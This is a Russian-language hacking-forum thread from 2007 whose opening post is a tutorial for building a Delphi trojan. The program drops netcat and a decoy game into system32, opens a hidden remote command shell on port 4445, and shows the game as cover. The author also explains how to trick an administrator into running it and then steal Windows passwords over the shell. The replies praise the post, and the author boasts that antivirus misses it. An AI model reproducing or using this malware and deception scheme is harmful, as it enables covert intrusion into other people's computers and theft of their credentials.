ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

... и NetCat в придачу
  #1  
Старый 04.01.2007, 10:41
Аватар для Brun
Brun
Участник форума
Регистрация: 21.03.2006
Сообщений: 117
Провел на форуме:
629074

Репутация: 137
Отправить сообщение для Brun с помощью ICQ
По умолчанию ... и NetCat в придачу

Речь сегодня пойдёт о програмировании. Но причём сдесь NetCat?.. Значит начнём всё по-порядку. Начнём с того что я хочу Вам показать как можна писать программы на Delphi и получать какойто прок для себя.
Хватит вокруг да около. Начинаем.
1. Для написания нам понадоится Delphi от 5-ой версии до 10-ой можете выбирать всё что Вам по душе. Я же пишу под Delphi7 (ну и рекомендую всем). Можно писать нашу будующую программы с VCL, но я покажу иной способ. Тогда мы сэкономим размер программы.
2. Открываем Delphi. File -> New -> Other -> Console Application. Сразу сохраняем проэкт под названием ncplus например.
А для чего же NetCat? Для того чтобы сделать себе бекдор на чужой машине. И уже сидя на своей делать то что нам нужно. Что же дальше...
3. Нам нужно скачать утилитку NetCat версии 1.11 (Netcat 1.11 for NT). Скинуть её в папку с проэктом. Дальше нужно создать файл ресурсов. Для этого сделаем файл ncp.rc с таким содержимым :
Код:
ncexe	exe	nc.exe
и чуть не забыл. надо дописать ещё одну строчку.
Код:
ncexe2	exe	mario.exe
Ну уж постарайтесь найти в инете старенькую игрушку (по правде говоря, вместо mario.exe можна поставить что угодно, это мы кидаем для того чтобы не палится. Мы себе делаем то что нам нужно, а топом запускаем игруху)
Сохраняем. После этого нам надо собрать наш файл ресурсов. Для этого в коммандной строчке пишем :
Код:
brcc32.exe ncp.rc
Если Вы сделали всё правильно, то у должен появится файл ncp.RES. Теперь когда все приготовления сделаны переходим к программе.
4. Вот что должно быть с самого начала :
Код:
program ncplus;

{$APPTYPE CONSOLE}

uses
  SysUtils;

begin
  { TODO -oUser -cConsole Main : Insert code here }
end.
5. Теперь я быстренько накидаю листинг. А в нём буду делть кометарии.
Код:
/------------------------------------
program ncplus;

{$APPTYPE CONSOLE}
{$R ncp.RES} // - тут наши ехе"шники =)

uses
  SysUtils, Windows, ShellAPI, Classes;
  // выше описаны модули которые нам надо будет

var
 Res : TResourceStream; // - для роботы с ресурсами

function GetSysDir: string; // путь к папке %windir%/system32
var
  dir: array [0..MAX_PATH] of Char;
begin
  GetSystemDirectory(dir, MAX_PATH);
  Result := StrPas(dir);
end;


begin
//---- Вытягиваем наши файлы с ехе"шника и
// кидаем их в system32 =)
Res:=TResourceStream.Create(Hinstance,'ncexe','exe');
Res.SavetoFile(GetSysDir+'\nc.exe');
Res:=TResourceStream.Create(Hinstance,'ncexe2','exe');
Res.SavetoFile(GetSysDir+'\mario.exe');
Res.Free;
//---- Вытянули

//----- Запускаем программы
if FileExists(GetSysDir+'\nc.exe') then //- если мы выложили файл куда
// хотели, то :
ShellExecute(0,'open',
PChar (GetSysDir+'\nc.exe'),PChar('-v -l -p 4445 -d -e CMD.EXE'),nil,sw_hide);
//  -v -l -p 4445 -d -e CMD.EXE  - это параметры коммандной строчки
// если интересно что для чего, то читайте справку
// sw_hide - для того чтобы бекдор не палить
if FileExists(GetSysDir+'\mario.exe') then
ShellExecute(0,'open',
PChar (GetSysDir+'\mario.exe'),nil,nil,sw_show);
// ну и запускаем игру для отвда глаз =)
// sw_show - а тут наоборот. Показываемся

end.
/-----------------------------
Программа написана. Для завершения её написания нужно откомпилировать. F9. Если всё сделано правильно, то ошибок давать не должно. В папке с проэктом должен появится ncplus.exe. Всё.

6. Кричим админу что там-то и там-то есть супер модная гейма (ну не буду писать что и как, тоисть как вешать лапшу.... проявите свои творческие способности). Когда он запустит, и начнёт играть, Вы вто време идёте за комп, который подалше от админовского и запускаете PuTTY.
Теперь в кратце параметр с которым мы запустили NetCat :
Код:
-v -l -p 4445 -d -e CMD.EXE
Запустили консоль, которая висит себе на неком 4445 порту.
7. Заключительный этап. После запуска PuTTY в Host Name (or IP) пишем название, а лутче IP админовского компа. В Port пишем 4445. Protocol выбираем Raw. Enter. И о чудо... Мы получили коммандную строчку адмыновского компа. Что же делать? А делать нужно то что я описывал в этой статье : Узнаём пароли Windows за 5 секунд
8. Ссылки по теме :
Тут я брал NetCat
Turbo Delphi (если нет другого)
Мой сайт в IF.UA
Материалы к статье (Исходные коды на Delphi).
9. Вот такой маленький экскурс в Delphi и NetCat.



С Вами был (и есть =)) Brun.
 
Ответить с цитированием

  #2  
Старый 04.01.2007, 10:48
Аватар для D=P=CH= MOD=
D=P=CH= MOD=
Постоянный
Регистрация: 15.08.2006
Сообщений: 404
Провел на форуме:
3811682

Репутация: 641
Отправить сообщение для D=P=CH= MOD= с помощью ICQ
По умолчанию

Оч понравилось!
Гут +2.
 
Ответить с цитированием

  #3  
Старый 04.01.2007, 11:02
Аватар для zl0ba
zl0ba
Banned
Регистрация: 10.10.2006
Сообщений: 596
Провел на форуме:
2132613

Репутация: 1365


По умолчанию

Хорошо, троян своими руками.
 
Ответить с цитированием

  #4  
Старый 04.01.2007, 11:22
Аватар для Brun
Brun
Участник форума
Регистрация: 21.03.2006
Сообщений: 117
Провел на форуме:
629074

Репутация: 137
Отправить сообщение для Brun с помощью ICQ
По умолчанию

я бы назвал это бэкдор. Антивирусами же не палится =)
 
Ответить с цитированием

  #5  
Старый 04.01.2007, 14:39
Аватар для a1nt
a1nt
Участник форума
Регистрация: 16.12.2005
Сообщений: 146
Провел на форуме:
573934

Репутация: 114
По умолчанию

В Хакере была подобная статья только там запускали radmin.
В-общем молодец, старался)
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
NetCat Lancellot Болталка 0 28.12.2006 22:25
NetCat FAQ by Osap1ent* »Atom1c« Уязвимости 0 13.11.2006 01:07
Выжимаем все соки из C:\nc\nc.exe Ch3ck Статьи 14 06.11.2006 21:19



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ